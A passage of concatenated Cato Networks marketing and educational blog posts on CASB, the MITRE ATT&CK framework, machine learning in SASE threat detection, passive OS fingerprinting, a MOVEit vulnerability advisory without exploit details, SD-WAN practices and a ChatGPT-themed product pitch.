core capabilities that any effective CASB solution should provide. CASB’s role as a policy enforcement engine means that it needs to provide administrators with visibility into their cloud environments to define granular security policies, and ensure they are effectively enforced. Also, CASB can help to detect unauthorized or misuse of cloud resources that fall outside of enterprise security policy and the management of the IT and security teams. Access Controls: CASB solutions provide organizations with the ability to govern the usage of their cloud-based environments and services. This includes tailoring access controls to an employee’s role and needs as well as defining rules governing access, basing access decisions on the employee’s identity, location or other factors. Threat Protection: CASB solutions perform behavioral analysis for cloud applications, identifying unusual activities that might indicate a malware infection or other potential risks. This behavioral monitoring enables security administrators to investigate and remediate these issues. Compliance Enforcement: Many organizations are subject to common data protection regulations and standards. CASB will enforce enterprise security policies and regulatory compliance policies. A CASB solution should streamline the process of implementing required security controls, perform logging, and compliance reporting. Such reports can inform internal stakeholders and regulatory authorities of the organization’s compliance posture. [boxlink link="https://www.catonetworks.com/resources/cato-casb-overview/"] Cato CASB overview | Download the White Paper [/boxlink] How CASB works with SASE CASB is a key element of SASE’s unified security stack, providing visibility, security, and control over cloud applications. SASE’s visibility into all traffic flows provides CASB with the access and control needed to fulfill its role. SASE provides secure, optimized access to enterprise and cloud applications and resources.  In the end, both CASB and SASE are crucial to an organization’s enterprise and cloud security posture. SASE provides the secure, high-performance network platform for the modern enterprise, while CASB ensures the safe and secure use of cloud applications and resources. Together they strengthen an organization’s overall security posture.  CASB Functions for Cloud Service Providers (CSPs) CASB is a crucial component of a cloud security strategy. Without the visibility and policy enforcement it provides, an organization can’t effectively manage, secure, or maintain regulatory compliance in their cloud deployments. For this reason, some organizations may purchase CASB functionality as a standalone capability from their CSP.  For organizations whose cloud environment is solely within one cloud service provider, this may offer a workable solution. However, companies with multi-cloud environments may find that relying on CSP-provided CASB solutions creates visibility and management siloes, and increases the complexity of enforcing consistent security policies and access controls across an organization’s entire IT infrastructure. CASB, SASE, and Cato Networks Cato SASE Cloud includes advanced CASB functionality as part of its converged security software stack. Companies can monitor the use of all cloud applications, enforce enterprise security policies and access controls, assess risk, and ensure regulatory compliance. Cato’s CASB functionality also benefits from built-in advanced threat protection tools that provide an extra layer of defense against potential cyber threats. The Cato SASE Cloud is uniquely architected to secure multi-cloud deployments, making it easy for organization’s to maintain a safe and secure cloud security posture. Cato SASE Cloud — Cato’s pioneering SASE solution converges networking and network security into a single cloud-native platform. Traffic flows across our  global private backbone, ensuring reliable and predictable performance for an organization’s enterprise and cloud environments. The Cato SASE Cloud is the Digital Transformation Platform of the modern digital enterprise.

MITRE ATT&CK and How to Apply It to Your Organization MITRE ATT&CK is a popular knowledge base that categorizes the Tactics, Techniques and Procedures (TTPs) used by adversaries in cyberattacks. Created by nonprofit organization MITRE, MITRE ATT&CK equips security professionals with valuable insights to comprehend, detect, and counter cyber threats. In this blog post, we dive into the framework, explore different use cases for using it and discuss cross-community collaboration. This blog post is based on episode 12 of Cato’s Cyber Security Masterclass, which you can watch here. The masterclass is led by Etay Maor, Sr. Director of Security Strategy at Cato. This episode hosted guests Bill Carter, system engineer at Cato, Ross Weisman, innovation lead at MITRE CTID. Security Frameworks: A Short Into MITRE ATT&CK is one of the most advanced security frameworks in use, but it is not the only one. Additional frameworks in use include: The Lockheed Martin Cyber Kill Chain One of the most foundational and venerable frameworks is the Lockheed Martin Cyber Kill Chain. The kill chain includes seven different stages spanning three category buckets. They are: Preparation - Reconnaissance, Weaponization Intrusion - Delivery, Exploitation, Installation Breach - Command & Control (C&C), Action This kill chain is widely-used across organizations due to its easy-to-understand, high-level approach. The Diamond Model Another popular model is the diamond model, The diamond model connects four aspects: Adversary (a person or group) Capability (malware, exploits) Infrastructure (IP, domains) Victim (person, network) The advantage of the diamond model is that it encompasses the complexity and dimensionality of attacks, rather than attempting to analyze them in the kill chain’s linear form. By combining the diamond model with the Lockheed Martin kill chain, security researchers can build an attack flow chain or activity graph: The MITRE ATT&CK Framework MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a widely used knowledge base that describes and categorizes the tactics, techniques, and procedures (TTPs) employed by adversaries during cyberattacks. The MITRE ATT&CK framework was developed by MITRE, a nonprofit organization, And used by security professionals to understand, detect, and respond to cyber threats. The framework covers a wide range of techniques, sub-techniques and tactics that are organized in a matrix. Tactics include Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, and more. MITRE ATT&CK Framework Biases The information in the MITRE ATT&CK framework is accumulated based on real-world observed behaviors. Therefore, when using the framework it’s important to acknowledge the potential biases. Novelty Bias - New and interesting techniques or existing techniques that are used by new actors get reported, while run-of-the-mill techniques that are being used over and over again - do not. Visibility Bias - Organizations publishing intel reports have visibility of certain techniques and not others, based on the way they collect data. In addition, techniques are viewed differently during and after incidents.  Producer Bias - Some organizations publish more reports than others, and the types of customers or visibility they have may not reflect the broader industry. Victim Bias - Certain types of victim organizations may be more likely to report, or be reported on, than others.  Availability Bias - Techniques that easily come to mind are more likely to be reported on as report authors will include them more often.

This increases their chances of mitigating attacks, since behaviors are nearly impossible for attackers to hide. To explain this statement, let’s look at the Pyramid of Pain. The Pyramid of Pain is a framework introduced by David Bianco for understanding and prioritizing indicators of compromise (IOCs). The pyramid illustrates the relative value of different types of IOCs based on the level of difficulty they pose for an adversary to change or obfuscate. Security professionals can use the Pyramid of Pain to detect a compromise in their systems. Each pyramid layer represents a different type of IOC: 1.  Indicators at the bottom layer are easy, and even trivial, for adversaries to modify or evade. These include basic indicators such as file hashes, IP addresses and domain names. While these indicators can help detect attacks, they are not considered robust indicators, since adversaries can easily change them. 2. Moving up the pyramid, the middle layers include artifacts that are harder for adversaries to modify, such as mutexes, file names, and specific error codes. These indicators often require modification of the adversary's tools or techniques, which can be time-consuming and risky. 3. At the top of the pyramid are the most difficult indicators for adversaries to change: tools, adversary behavior and techniques.These indicators are highly valuable for security defenders since they require significant effort and time for adversaries to alter their behavior, making them more reliable and persistent indicators of compromise. These are also the types of IoCs the MITRE ATT&CK framework focuses on. How Defenders Can Use MITRE ATT&CK With the MITRE ATT&CK framework, security researchers can delve into different procedures, analyze them and gain information they need. The framework’s matrix structure enables researchers to choose the level of depth they want. A helpful tool for leveraging the MITRE ATT&CK Framework is the MITRE ATT&CK Navigator. With the navigator, researchers can easily explore and visualize defensive coverage, security planning, technique frequency, and more. The MITRE ATT&CK framework can be used by security professionals for a variety of use cases. These include threat intelligence, detection and analytics, simulations, and assessment and engineering. In addition, the framework can help security professionals start an internal organization discussion about detection and mitigation capabilities.  Here are a few examples of potential use cases. Threat Actor Analysis Security professionals can use the framework to gain and provide information about threat actors. For example, if a C-level manager asks about a breach or threat actor, researchers can investigate and extract the relevant information from the framework at a high level. At a deeper level, if a researcher needs to understand how to protect against a certain threat actor, or wants to learn which threat actors use certain techniques, they can drill down into the matrix. The provided information will help them learn how the technique is executed, which tools are employed, and more. This helps expand the researchers’ knowledge by introducing them to additional operational modes of attackers. Multiple Threat Actor Analysis In addition to researching specific actors, the MITRE ATT&CK framework can be used for analyzing multiple threat actors. For example, during times of geo-political crisis, the framework can be used to identify common tactics used by nation-state actors. Here’s what a visualized multiple threat actor analysis could look like, showing the techniques used by different actors in red and yellow, and overlaps in green. Gap Analysis Another use case is analyzing existing gaps in defenses. By analyzing defenses and attack techniques, defenders can identify, visualize and sort which threats the organization is more vulnerable to.  This is what it could look like, with colors used to indicate priority. Atomic Testing The framework can also be used for testing. Atomic Red Team is an open source library of tests mapped to the MITRE ATT&CK framework. These tests can help identify and mitigate coverage gaps. Looking Forward Together: The MITRE CTID (Center for Threat-Informed Defense) The MITRE CTID (Center for Threat-Informed Defense) is a privately funded R&D center that  collaborates with private sector organizations and nonprofits. Their goal is to change the game by pooling resources, conducting more incident responding and less incident reacting. This mission is based on John Lambert’s idea that as long as defenders think in lists, rather than graphs, attackers will win. One of the key projects around this motion is “Attack Flow”. Attack Flow aims to overcome the challenge oftracing adversary behaviors atomically. They claim that this makes it harder to understand adversary attacks and build effective defenses. Attack Flow operates by creating a language and associated tools that describe flows of ATT&CK techniques and combining those flows into patterns of behavior. As a result, defenders and leaders can better understand how adversaries operate. Then, they can compose atomic techniques into attacks to better understand the defensive posture. Here’s what it looks like: Based on the such attack flows, defenders can answer questions like: What have adversaries been doing? How are adversaries changing? Then, they can capture, share and analyze patterns of attack. Ultimately, they will be able to answer the million(s) dollar questions: What is the next most likely thing they will do? What have we missed? The community is invited to participate in CTID activities and contribute to the shared knowledge. You can contact them on LinkedIn or walk up to their booth at conferences, like at RSA.

Enhancing Security and Asset Management with AI/ML in Cato Networks’ SASE Product We just introduced what we believe is a unique application of real-time, deep learning (DL) algorithms to network prevention. The announcement is hardly our foray into artificial intelligence (AI) and machine learning (ML). The technologies have long played a pivotal role in augmenting Cato's SASE security and networking capabilities, enabling advanced threat prevention and efficient asset management. Let's take a closer look.  What is Artificial Intelligence (AI), Machine Learning (ML), and Deep Learning (DL)?  Before diving into the details of Cato's approach to AI, ML, and DL, let's provide some context around the technologies. AI is the overarching concept of creating machines that can perform tasks typically requiring human intelligence, such as learning, reasoning, problem-solving, understanding natural language, and perception. One example of AI applications is in healthcare, where AI-powered systems can assist doctors in diagnosing diseases or recommending personalized treatment plans.  ML is a subset of AI that focuses on developing algorithms to learn from and make predictions based on data. These algorithms identify patterns and relationships within datasets, allowing a system to make data-driven decisions without explicit programming. An example of an ML application is in finance, where algorithms are used for credit scoring, fraud detection, and algorithmic trading to optimize investment strategy and risk management.  Deep Learning (DL) is a subset of ML, employing artificial neural networks to process data and mimic the human brain's decision-making capabilities. These networks consist of multiple interconnected layers capable of extracting higher-level features and patterns from vast amounts of data. A popular use of DL is seen in self-driving vehicles, where complex image recognition algorithms allow the vehicle to detect and respond appropriately to traffic signs, pedestrians, and other obstacles to ensure safe driving.  Overcoming Challenges in Implementing AI/ML for Real-time Network Security Monitoring  Implementing DL and ML for Cato customers presents several challenges. Cato handles and monitors terabytes of customer network traffic daily. Processing that much data requires a tremendous amount of compute capacity. Falsely flagging network activity as an attack could materially impact our customer's operations so our algorithms must be incredibly accurate. Additionally, we can't interfere with our user's experience, leaving just milliseconds to perform real-time inference.   Cato tackles these challenges by running our DL and ML algorithms on Cato's cloud infrastructure. Being able to run in the cloud enables us to use the cloud's ubiquitous compute and storage capacity. In addition, we've taken advantage of cloud infrastructure advancements, such as AWS SageMaker. SageMaker is a cloud-based platform that provides a comprehensive set of tools and services for building, training, and deploying machine learning models at scale. Finally, Cato's data lake provides a rich data set, converging networking metadata with security information, to better train our algorithms.   With these technologies, we have successfully deployed and optimized our ML algorithms, meticulously reducing the risks associated with false flagging network activity and ensuring real-time inference. The Cato algorithms monitor network traffic in real-time while maintaining low false positive rates and high detection rates.  How Cato Uses Deep Learning to Enhance Threat Detection and Prevention  Using DL techniques, Cato harnesses the power of artificial intelligence to amplify the effectiveness of threat detection and prevention, thereby fortifying network security and safeguarding users against diverse and evolving cyber risks. DL is used in many different ways in Cato SASE Cloud.  For example, we use DL for DNS protection by integrating deep learning models within Cato IPS to detect Command and Control (C2) communication originating from Domain Generation Algorithm (DGA) domains, the essence of our launch today, and DNS tunneling. By running these models inline on enormous amounts of network traffic, Cato Networks can effectively identify and mitigate threats associated with malicious communication channels, preventing real-time unauthorized access and data breaches in milliseconds.  [boxlink link="https://www.catonetworks.com/resources/eliminate-threat-intelligence-false-positives-with-sase/"] Eliminate Threat Intelligence False Positives with SASE | Download the eBook [/boxlink] We stop phishing attempts through text and image analysis by detecting flows to known brands with low reputations and newly registered websites associated with phishing attempts. By training models on vast datasets of brand information and visual content, Cato Networks can swiftly identify potential phishing sites, protecting users from falling victim to fraudulent schemes that exploit their trust in reputable brands.  We also prioritize incidents for enhanced security with machine learning. Cato identifies attack patterns using aggregations on customer network activity and the classical ML Random Forest algorithm, enabling security analysts to focus on high-priority incidents based on the model score.  The prioritization model considers client group characteristics, time-related metrics, MITRE ATT&CK framework flags, server IP geolocation, and network features. By evaluating these varied factors, the model boosts incident response efficiency, streamlining the process, and ensures clients' networks' security and resilience against emerging threats.  Finally, we leverage ML and clustering for enhanced threat prediction. Cato harnesses the power of collective intelligence to predict the risk and type of threat of new incidents. We employ advanced ML techniques, such as clustering and Naive Bayes-like algorithms, on previously handled security incidents. This data-driven approach using forensics-based distance metrics between events enables us to identify similarities among incidents. We can then identify new incidents with similar networking attributes to predict risk and threat accurately.   How Cato Uses AI and ML in Asset Visibility and Risk Assessment  In addition to using ML for threat detection and prevention, we also tap AI and ML for identifying and assessing the risk of assets connecting to Cato. Understanding the operating system and device types is critical to that risk assessment, as it allows organizations to gain insights into the asset landscape and enforce tailored security policies based on each asset's unique characteristics and vulnerabilities.  Cato assesses the risk of a device by inspecting traffic coming from client device applications and software. This approach operates on all devices connected to the network. By contrast, relying on client-side applications is only effective for known supported devices. By leveraging powerful AI/ML algorithms, Cato continuously monitors device behavior and identifies potential vulnerabilities associated with outdated software versions and risky applications.  For OS Type Detection, Cato's AI/ML capabilities accurately identify the operating system type of agentless devices connected to the network. This information provides valuable insights into the security posture of individual devices and enables organizations to enforce appropriate security policies tailored to different operating systems, strengthening overall network security.  Cato Will Continue to Expand its ML/AI Usage Cato will continue looking at ways of tapping ML and AI to simplify security and improve its effectiveness. Keep an eye on this blog as we publish new findings.

How Security Teams can Leverage MITRE ATT&CK and How Cato Networks’ SASE can Help In a recent poll we conducted, two thirds of respondents shared they were unaware of the MITRE ATT&CK Framework or were only beginning to understand what it can provide. When used correctly, MITRE ATT&CK can significantly help organizations bolster their security posture. In this blog post, we explain how security teams can leverage MITRE ATT&CK and how Cato Networks’ SASE can help. What is the MITRE ATT&CK Framework? The MITRE ATT&CK framework is a globally recognized knowledge base and model that details the tactics and techniques used by adversaries during cyber attacks. While no security framework can claim to be comprehensive and exhaustive, what distinguishes the MITRE ATT&CK framework is its basis in real-world observations of threat behaviors, as opposed to a list of indicators of compromise that can be easily evaded by sophisticated entities. The framework is also regularly updated and expanded as new attack techniques emerge. Therefore, it can be applied by security professionals to improve their security posture and defense strategies. [boxlink link="https://catonetworks.easywebinar.live/registration-the-best-defense-is-attack"] The Best Defense is ATT&CK: Applying MITRE ATT&CK to Your Organization | Watch the Webinar [/boxlink] How Can a TTP Framework Improve an Organization’s Security Posture? Threat actors typically execute along known patterns of behavior. These are referred to as: Tactics - Why are they doing what they do Techniques - How are they carrying out what they do Procedures - What tools or actions are they performing These are commonly abbreviated as “TTPs”. By utilizing collected information at each of these levels, organizations can emulate these behaviors against their environment to identify where gaps in security monitoring allow the attack flow to continue unimpeded. By bridging those gaps, they can bolster their security posture. Which Security Teams Should Use MITRE ATT&CK? Organizations often engage in red team (offensive) and blue team (defensive) exercises to bolster their security posture. These exercises can often become unnecessarily adversarial and even counterproductive due to a lack of information sharing and the competitive nature of security resources. Utilizing the ATT&CK framework, organizations can create purple teams that work on both the offensive and defensive sides of security exercises with simultaneous, rapid sharing of information. This will help the organization make well-informed recommendations for their security policies.  MITRE ATT&CK and Cato Networks SASE  Cato Networks’ SASE solution is unique in providing a converged, shared-context security platform that is tightly associated with the MITRE ATT&CK framework. This deep awareness, backed by a powerful team of threat and data analysts, provides a security platform tied to real-world threat intelligence. The result is that even small security teams are able to focus on setting effective security policy and performing advanced threat research and operational assessments of security awareness and response, rather than spending excessive time managing numerous appliances and integrating multiple context-blind service chains.

IoT has an identity problem. Here’s how to solve it Successfully Identifying operating systems in organizations has become a crucial part of network security and asset management products. With this information, IT and security departments can gain greater visibility and control over their network. When a software agent is installed on a host, this task becomes trivial. However, several OS types, mainly for embedded and IoT devices, are unmanaged or aren’t suitable to run an agent. Fortunately, identification can also be done with a much more passive method, that doesn’t require installation of software on endpoint devices and works for most OS types. This method, called passive OS fingerprinting, involves matching uniquely identifying patterns in the network traffic a host produces, and classifying it accordingly. In most cases, these patterns are evaluated on a single network packet, rather than a sequence of flows between a client host and a server. There exist several protocols, from different network layers that can be used for OS fingerprinting. In this post we will cover those that are most commonly used today. Figure 1 displays these protocols, based on the Open Systems Interconnection (OSI) model. As a rule of thumb, protocols at the lower levels of the OSI stack provide better reliability with lower granularity compared to those on the upper levels of stack, and vice versa. Figure 1: Different network protocols for OS identification based on the OSI model Starting from the bottom of the stack, at the data link layer, exists the medium access control (MAC) protocol. Over this protocol, a unique physical identifier, called the MAC address, is allocated to the network interface card (NIC) of each network device. The address, which is hardcoded into the device at manufacturing, is composed of 12 hexadecimal digits, which are commonly represented as 6 pairs divided by hyphens. From these hexadecimal digits, the leftmost six represent the manufacturer's unique identifier, while the rightmost six represent the serial number of the NIC. In the context of OS identification, using the manufacturer's unique identifier, we can infer the type of device running in the network, and in some cases, even the OS. In Figure 2, we see a packet capture from a MacBook laptop communicating over Ethernet. The 6 leftmost digits of the source MAC address are 88:66:5a, and affiliated with “Apple, Inc.” manufacturer. Figure 2: an “Apple, Inc.” MAC address in the data link layer of a packet capture Moving up the stack, at the network and transport layers, is a much more granular source of information, the TCP/IP stack.  Fingerprinting based on TCP/IP information stems from the fact that the TCP and IP protocols have certain parameters, from the header segment of the packet, that are left up for implementation, and most OSes select unique values for these parameters. [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] Some of the most commonly used today for identification are initial time to live (TTL), Windows Size, “Don't Fragment” flag, and TCP options (values and order). In Figure 3 and Figure 4, we can see a packet capture of a MacBook laptop initiating a TCP connection to a remote server. For each outgoing packet, The IP header includes a combination of flags and an initial TTL value that is common for MacOS hosts, as well as the first “SYN” packet of the TCP handshake with the Windows Size value and the set of TCP options. The combination of these values is sufficient to identify this host as a MacOS. Figure 3: Different header values from the IP protocol in the network layer Figure 4: Different header values from the TCP protocol in the transport layer At the upper most level of the stack, in the application layer, several different protocols can be used for identification. While providing a high level of granularity, that often indicates not only the OS type but also the exact version or distribution, some of the indicators in these protocols are open to user configuration, and therefore, provide lower reliability. Perhaps the most common protocol in the application level used for OS identification is HTTP. Applications communicating over the web often add a User-Agent field in the HTTP headers, which allows network peers to identify the application, OS, and underlying device of the client. In Figure 5, we can see a packet capture of an HTTP connection from a browser. After the TCP handshake, the first HTTP request to the server contains a User-Agent field which identifies the client as a Firefox browser, running on a Windows 7 OS. Figure 5: Detecting a Windows 7 OS from the User-Agent field in the HTTP headers However, the User-Agent field, is not the only OS indicator that can be found over the HTTP protocol. While being completely nontransparent to the end-user, most OSes have a unique implementation of connectivity tests that automatically run when the host connects to a public network. A good example for this scenario is Microsoft’s Network Connectivity Status Indicator (NCSI). The NCSI is an internet connection awareness protocol used in Microsoft's Windows OSes. It is composed of a sequence of specifically crafted DNS and HTTP requests and responses that help indicate if the host is located behind a captive portal or a proxy server.  In Figure 6, we can see a packet capture of a Windows host performing a connectivity test based on the NCSI protocol. After a TCP handshake is conducted, an HTTP GET request is sent to http://www.msftncsi.com/ncsi.txt. Figure 6: Windows host running a connectivity test based on the NCSI protocol The last protocol we will cover in the application layer, is DHCP. The DHCP protocol, used for IP assignment over the network. Overall, this process is composed of 4 steps: Discovery, Offer, Request and Acknowledge (DORA). In these exchanges, several granular OS indicators are provided in the DHCP options of the message. In Figure 7, we can see a packet capture of a client host (192.168.1.111) that is broadcasting DHCP messages over the LAN and receiving replies from a DHCP server (192.168.1.1). The first DHCP Inform message, contains the DHCP option number 60 (vendor class identifier) with the value of “MSFT 5.0”, associated with a Microsoft Windows client. In addition, the DHCP option number 55 (parameter request list) contains a sequence of values that is common for Windows OSes. Combined with the order of the DHCP options themselves, these indicators are sufficient to identify this host as a Windows OS. Figure 7: Using DHCP options for OS identification Wrapping up In this post, we’ve introduced the task of OS identification from network traffic and covered some of the most commonly used protocols these days. While some protocols provide better accuracy than others, there is no 'silver bullet' for this task, and we’ve seen the tradeoff between granularity and reliability with the different options. Rather than fingerprinting based on a single protocol, you might consider a multi-protocol approach. For example, an HTTP User-Agent combined with lower-level TCP options fingerprint.

Cato Protects Against MOVEit vulnerability (CVE-2023-34362) A new critical vulnerability (CVE-2023-34362) has been published by Progress Software in its file transfer application, MOVEit Transfer. A SQL Injection vulnerability was discovered in MOVEit enabling unauthenticated access to MOVEit’s Transfer database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements  Currently, Cato Research Labs is aware of exploitation attempts of CVE-2023-34362 as an initial access vector used by the CLOP ransomware group to gain access to the MOVEit Transfer MFT solution and deliver a web shell ("Human2.aspx") tailored specifically to this product. While details about the web shell have surfaced in the last few days as well as several suspected endpoints involved, the actual SQLi payload and specific details of the injection point have not been made public.  [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] Cato’s Response   Cato has deployed signatures across the Cato Cloud to prevent uploading or interacting with the web shell.  The detect-to-protect time was 3 days and 6 hours for all Cato-connected users worldwide. Furthermore, Cato recommends restricting public access to MOVEit instances only to users protected by Cato security – whether behind a Cato Socket or remote users running the Cato Client.   Currently, Cato Research Labs has found evidence for opportunistic scanners attempting to scan public facing servers for the presence of the web shell (rather than actually exploiting the vulnerability). Scanning public facing servers is a common practice for opportunistic actors, riding the tail of a zero-day campaign.  Cato continues to monitor for further details regarding this CVE and will update our security protections accordingly.

5 Best Practices for Implementing Secure and Effective SD-WAN Corporate networks are rapidly becoming more complex and distributed. With the growth of cloud computing, remote work, mobile and Internet of Things (IoT), companies have users and IT assets everywhere, requiring connectivity. Software-defined WAN (SD-WAN) provides the ability to implement a secure, high-performance corporate WAN on top of existing networks. However, SD-WAN infrastructures must be carefully designed and implemented to provide full value to the organization. SD-WAN Best Practices  A poorly implemented SD-WAN poses significant risk to the organization. When designing and deploying SD-WAN, consider the following SD-WAN best practices. Position SD-WAN Devices to Support Users SD-WAN provides secure, optimized network routing between various locations. Often, organizations will deploy SD-WAN routers at their branch locations and near their cloud edge. SD-WAN is also beneficial for remote workers. To ensure the solution provides the most optimal network connectivity, the SD-WAN solution must be deployed to maximize the performance of remote workers. This means minimizing the distance of remote traffic to the SD-WAN edge. Use High-Quality Network Connectivity SD-WAN is designed to improve network performance and reliability by intelligently routing traffic over different network connections, including broadband Internet, multi-protocol label switching (MPLS), and mobile networks. When traffic is sent to the SD-WAN device, it selects the most optimal path based on network conditions. However, SD-WAN’s ability to enhance network performance and reliability is limited by the network connection at its disposal. If the available connection is inherently unreliable — like broadband Internet — then SD-WAN can do little to fix this problem. To maximize the value of an SD-WAN investment, it is essential to utlize a network connection that offers the desired level of performance, latency, and reliability. Design for Scalability Corporate bandwidth requirements are continuously increasing, and SD-WAN should be scalable to support current and future network requirements. Deploying SD-WAN using dedicated hardware limits the scalability of the solution and mandates upgrades or additional hardware in the future. Instead, companies should use an SD-WAN solution that takes advantage of cloud scalability to grow with the needs of the organization. Integrate Security with Networking SD-WAN is a networking solution, not a security solution. While it may securely and intelligently route traffic to its destination, it performs none of the advanced security inspection and policy enforcement needed to protect the organization and its employees against advanced cybersecurity threats. For this reason, SD-WAN must be deployed together with network security. With the growth of remote work and the cloud, companies can’t rely on traffic flowing through the defenses at the network perimeter, and backhauling traffic defeats the purpose of deploying SD-WAN. A secure SD-WAN deployment is one that implements strong security with networking. [boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security/"] SASE vs SD-WAN: What’s Beyond Security | Download the eBook [/boxlink] Consider an Integrated Solution Often, a company’s approach to implementing vital networking and security solutions is to deploy point solutions that provide the desired capabilities. However, this commonly results in a sprawling IT architecture that is difficult and expensive to monitor, operate, and manage. Taking this approach to implementing a secure SD-WAN deployment can exacerbate this problem. Since each SD-WAN device must be supported by a full security stack, the end result is deploying and operating several solutions at each location. SASE (Secure Access Service Edge) provides a solution for this problem. SASE integrates SD-WAN capabilities with a full network security suite delivered as a cloud-based security service. With SD-WAN, an organization can implement and secure its WAN infrastructure with minimal cost and operational overhead. Implementing Secure, Usable SD-WAN with Cato SASE Cloud Organizations can achieve the full benefits of SD-WAN only by designing and deploying it correctly.Doing so will avoid poor network performance, reduced security, and negative user experiences. Cato SASE Cloud provides SD-WAN functionality designed in accordance with SD-WAN best practices and offers the following benefits to organizations: Global Reach: Cato SASE Cloud is a globally-distributed network of over 80 PoP locations. This allows remote workers to access the corporate WAN with minimal latency. Optimized Networking: Cato SASE Cloud is connected through a network of dedicated Tier-1 carrier links. These connections provide greater network performance and resiliency than an SD-WAN solution running over the public Internet. Converged Security: As a SASE solution, Cato SASE Cloud converges SD-WAN with a full network security stack. This convergence offers advanced threat protection without compromising network performance or user experience. Cloud-Based Deployment: Cato SASE Cloud is deployed as a global network of PoPs connected by a global private backbone. As a result, it can offer greater scalability, availability, and resiliency than on-site, appliance-based solutions. Managed SD-WAN: Cato SASE Cloud is available as a Managed SD-WAN service. This removes the responsibility for configuring, managing, and updating your SD-WAN deployment. SD-WAN helps improve network performance, but it also introduces potential security risks. The Cato SASE Cloud solves this by converging SD-WAN and network security into a single software stack built upon a network of PoPs and connected by a global private backbone. Learn more about how implementing SD-WAN and SASE with Cato SASE Cloud can optimize your organization’s network performance and security.

Digital Transformation Is a Major Driver of Network Transformation Many organizations are in the midst of rapid digital transformation. In the past few years, numerous new and promising technologies have emerged and matured, promising significant benefits. For example, many organizations are rapidly adopting cloud computing, and the growing maturity of Internet of Things (IoT) devices has the potential to unlock new operational efficiencies. At the same time, many organizations are changing the way that they do business, expanding support for remote and hybrid work policies. This also has impacts on companies’ IT architectures as organizations adapt to offer secure remote access to support a growing work-from-anywhere (WFA) workforce.  New Solutions Have New Network Requirements As digital transformation initiatives change how companies do business, corporate networks and IT architectures need to adapt to effectively and securely support the evolving business. Digital Transformation is driving new network requirements including the following: Remote Access: One of the biggest impacts of Digital Transformation is the growing need for secure remote access to corporate applications and systems. Remote workers need the ability to securely access corporate networks, and everyone requires secure connectivity to Cloud and Software as a Service (SaaS) solutions. Network Scalability: The expansion of corporate IT architectures to incorporate new technologies drives a need for more network bandwidth. Networking and security technologies must scale to meet growing demand. Platform Agnosticism: As companies deploy a wider range of endpoints and technology solutions, implementing and enforcing consistent, effective policies require a solution that works for any device and from anywhere. Decentralized Security: Historically, companies have taken a perimeter-focused approach to network security. As digital transformation dissolves this perimeter, organizations need network security solutions that provide service everywhere their users are. [boxlink link="https://www.catonetworks.com/resources/the-business-case-for-wan-transformation-with-cato-cloud/"] The Business Case for WAN Transformation with Cato Cloud | Download the eBook [/boxlink] Developing a Network Transformation Strategy A network transformation strategy should be designed to meet the new and evolving requirements driven by digital transformation.  Some of the key factors to consider when designing and implementing a network transformation strategy include: Accessibility: Digital transformation initiatives commonly make corporate networks more distributed as remote users, cloud applications, and mobile devices connect to corporate resources from everywhere. A network designed to support the modern digital business must provide high-performance, secure access wherever users and applications are. Scalability: As companies deploy new technologies, their bandwidth requirements continue to grow. Networking and security solutions must be designed and implemented to easily scale to keep pace with the evolving business needs. Performance: Cloud applications are performance-sensitive, and inefficient networking will impact performance and user productivity. A network transformation project should ensure traffic is intelligently routed over the corporate WAN via high-performance, reliable network connectivity. Security: As users and applications move off-premise, they dissolve the network perimeter where, traditionally, companies have focused their security protection. Network transformation projects should include decentralized network security to ensure inspection and policy enforcement occurs closest the user or application.

ChatGPT and Cato: Get Fish, Not Tackles ChatGPT is all the rage these days. Its ability to magically produce coherent and typically well-written, essay-length answers to (almost) any question is simply mind-blowing. Like any marketing department on the planet, we wanted to “latch onto the news." How can we connect Cato and ChatGPT?  Our head of demand generation, Merav Keren, made an interesting comparison between ChatGPT and Google Search. In a nutshell, Google gives you the tools to craft your own answer, ChatGPT gives you the outcome you seek, which is the answer itself. ChatGPT provides the fish, Google Search provides the tackles.   How does this new paradigm translate into SASE, networking, and security? We have discussed at length the topic of outcomes vs tools. The emergence of ChatGPT is an opportunity to revisit this topic.   Historically, networking and network security solutions provided tools for engineers to design and build their own “solutions” to achieve a business outcome. In the pre-cloud era, the two alternatives on the table were Do-it-Yourself or pay someone else to Do-it-for-You). The tools approach was heavily dependent on budget, people, and skills to design, deploy, manage, and adjust the tools comprising the solution to make sure they continuously deliver the business outcome.   Early attempts to build a “self-driving” infrastructure to sustain desired outcomes didn’t take off.  For example, intent-based networking was created to enable engineers to state a desired business outcome and let the “network” implement low-level policies to achieve it. Other attempts like SD-WAN fared better because the scope of desired outcomes was more limited and the infrastructure more uniform and coherent.    [boxlink link="https://www.catonetworks.com/resources/outcomes-vs-tools-why-sase-is-the-right-strategic-choice-vs-legacy-appliances/?utm_medium=blog_top_cta&utm_campaign=features_vs_outcomes"] The Pitfalls of SASE Vendor Selection: Features vs. Strategic Outcomes | Download the White Paper [/boxlink] Thinking about IT infrastructure as enabling business outcomes became even more elusive as complexity grew with the emergence of digital transformation. Cloud migration and hybrid cloud, SaaS usage proliferation, growing use of remote access, and the expansion of attack surface to IoT have strained the traditional approach of IT solution engineering of applying new tools to address new requirements.   In this age of skills and resource scarcity, IT needs to acquire “outcomes” not mere “tools.”   There is an important distinction here between legacy and modern outcome delivery. Legacy outcome delivery is typically associated with service providers. They use tools to engineer a solution for customers, and then use manpower to maintain and adapt the solution to deliver an agreed upon outcome. To ensure they meet the committed outcomes, customers demand and get SLAs backed by penalties. This business structure silently acknowledges the fact that a service provider is fundamentally using the “same” headcount to achieve an outcome without any fundamental advantage over the customer’s IT. Penalties serve to motivate the service provider to deploy sufficient resources to deliver what the customer is paying for.   Modern outcome delivery is built on cloud native service platforms. It is built with a software platform that can adapt to changes and emerging requirements with minimal human touch. Most engineering goes into enhancing platform capabilities not managing it to specific customer needs.  This is where Cato Networks shines. Once a customer onboards into Cato, our platform is designed to continuously deliver “a secure and optimal access for everyone and everywhere” outcome without the customer having to do anything to sustain that outcome. The Cato SASE Cloud combines extreme 